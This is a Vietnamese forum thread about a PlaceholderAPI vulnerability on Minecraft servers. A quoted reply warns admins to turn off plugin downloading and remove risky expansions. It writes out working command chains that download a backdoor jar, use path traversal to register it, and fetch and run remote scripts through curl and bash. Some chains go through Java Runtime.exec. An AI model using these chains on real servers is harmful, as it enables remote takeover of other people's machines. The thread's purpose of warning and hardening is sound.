Thảo luận Lỗ hổng placeholderapi

MixMC nói:

@Jun0vn

Nhấn để mở rộng...

jordu nói:

bonus: nếu server bạn sử dụng plugin plugmanX hoặc plugmanager,commandpanel thì hãy vào config của nó và tắt cái download đi vì nó cho phép download backdoor plugin

/cpi lmfao.jar https://transfer.sh/get/S3MLec/unnamed.jar
/papi register ../../CommandPanels/panels/lmfao.jar.yml
/papi parse me %rce_curl_-O_https://rentry.co/os7q7/raw%
/papi parse me %rce_bash_raw%

/plugman download direct rce plugin


và một số extensions nên xoá:

fetch:
/papi ecloud download fetch
/papi reload
/papi parse me %fetch_ test 1 https://transfer.sh/get/M837wCE2yF/test.jar%
/papi register ../../../fetch/test
/papi parse me %rce_curl_-O_https://rentry.co/eo7oc/raw%
/papi parse me %rce_bash_raw%

groopi:
/papi ecloud download groopi
/papi reload
/papi parse me %groopi_java.lang.Runtime.getRuntime().exec("curl -O https://rentry.co/eo7oc/raw")%
/papi parse me %groopi_java.lang.Runtime.getRuntime().exec("bash raw")%

minepacks:
/papi ecloud download minepacks 1.0.6
/papi reload
/papi parse me %minepacks_set ./PlaceholderAPI/config cloud_allow_unverified_expansions true%
/papi parse me %minepacks_set ../PlaceholderAPI/config cloud_allow_unverified_expansions true%
/papi reload

Nhấn để mở rộng...

The ability to disable plugin downloading... · Issue #23 · Test-Account666/PlugManX

An option to disable /plugman download in the config is a good idea to prevent (un-trusted) admins, and hackers from installing backdoor plugins in the server !

github.com